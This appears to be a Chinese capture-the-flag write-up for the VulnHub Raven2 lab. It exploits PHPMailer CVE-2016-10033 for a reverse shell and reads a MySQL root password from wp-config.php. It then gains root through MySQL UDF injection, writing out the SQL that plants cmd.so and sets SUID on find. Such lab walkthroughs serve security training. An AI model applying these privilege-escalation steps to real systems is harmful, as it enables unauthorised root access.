当前位置: 首页 > news >正文

VulnHub-Raven2 靶场 wp

nmap扫描靶机ip
nmap -sV 192.168.111.20 -T4
image
访问80端口:
image
dirsearch来fuzz目录
dirsearch -u http://192.168.111.20:80
image
逐个访问,发现/js/vendor/bootstrap.min.js存在版本信息
Bootstrap v4.0.0
image
访问/vendor/
image
继续收集信息,进入/PATH 得到flag1
image
下载SECURITY.md得到提示 CVE-2016-10033
image
搜索Bootstrap漏洞后发现版本太高,暂无比较好的漏洞可以利用,阅读README.md,或者直接去搜索CVE-2016-10033,均可以得到exp,我们这里阅读README.md
得到信息 PHPMailer
image
进入searchsploit进行搜索
image
这里我们选用第四个,也就是40974.py,将其复制出来
image
接着我们修改exp,以达成利用,修改靶机以及攻击机ip即可
image
首先开启监听
image
执行exp时发现缺包,由于直接pip install会有风险,所以创建一个虚拟环境进行安装
image
python3执行,执行后监听端口,并访问你上传的php文件,成功反弹shell
image
获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
image
使用find寻找flag,得到两个flag,最后一个flag需要得到root权限
image

提权
这里我们尝试提权
访问wp-config.php得到mysql的root密码,所以这里我们尝试mysql提权
image
mysql -uroot -pR@v3nSecurity
image
进行UDF提权,提权条件如下
1)mysql数据库的root权限
2)secure_file_priv的值为空
3)如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
4)如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
dpkg -l | grep mysql \查看mysql历史安装包
ps aux | grep root \查看mysql进程信息
mysql版本大于5.1
image
exploit搜索mysql的exp,这里我们选择:
image
searchsploit一下
image
将其复制下来
image
对文件进行编译,并上传到靶机,在靶机上用wget直接获取就行
image
然后登录数据库

创建表raven2

create table raven2(line blob);

将刚上传的cmd.so插入表

insert into raven2 values(load_file('/var/www/html/cmd.so'));
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数

select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字

create function do_system returns integer soname 'cmd.so';

查询函数是否创建成功

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');
image
最后一步,find提权,大功告成
image

http://www.hskmm.com/?act=detail&tid=24544

相关文章:

  • javaScript的构造函数和java的构造函数区别
  • 天一生水 地六成之
  • P14041 [PAIO 2025] Towers
  • 根号分治简单解说
  • 哈希简单解说
  • Say 题选记(9.28 - 10.4)
  • Excel表设置为细框线
  • 前端学习教程-VIte整合ECharts
  • const不可改变解释
  • macOS Sequoia 15.7.1安全更新:修复字体解析器内存损坏漏洞
  • AtCoder Beginner Contest 426 ABCDEF 题目解析
  • 数学
  • 前端学习教程-ElementPlus 教程
  • AI训练的悖论:为什么越追求准确率越会产生幻觉?
  • 信奥大联赛周赛(提高组)#2516-S 赛后盘点
  • PSRAM 是什么
  • Debian 13 eza 安装与常用参数
  • Syncthing 2.0 版本开机自启
  • 鲜花 10.4:【半 whk 向】临项交换法贪心
  • 前端学习教程-Pinia 教程
  • 布谷娱乐直播架构源码开发实用功能:技术驱动更迭的创新体验
  • Bean生命周期
  • 回忆QQ空间有感
  • mtgsig
  • 前端学习教程-Vue Router 教程
  • 详细介绍:Java-Spring 入门指南(十七)SpringMVC--Apipostl与RestFul实战测试
  • 详细介绍:告别 403 Forbidden!详解爬虫如何模拟浏览器头部(User-Agent)
  • 通过学习分位数函数提升预测准确性
  • 高中数列梳理
  • AtCoder Beginner Contest 426 实况记录 + A-D 题解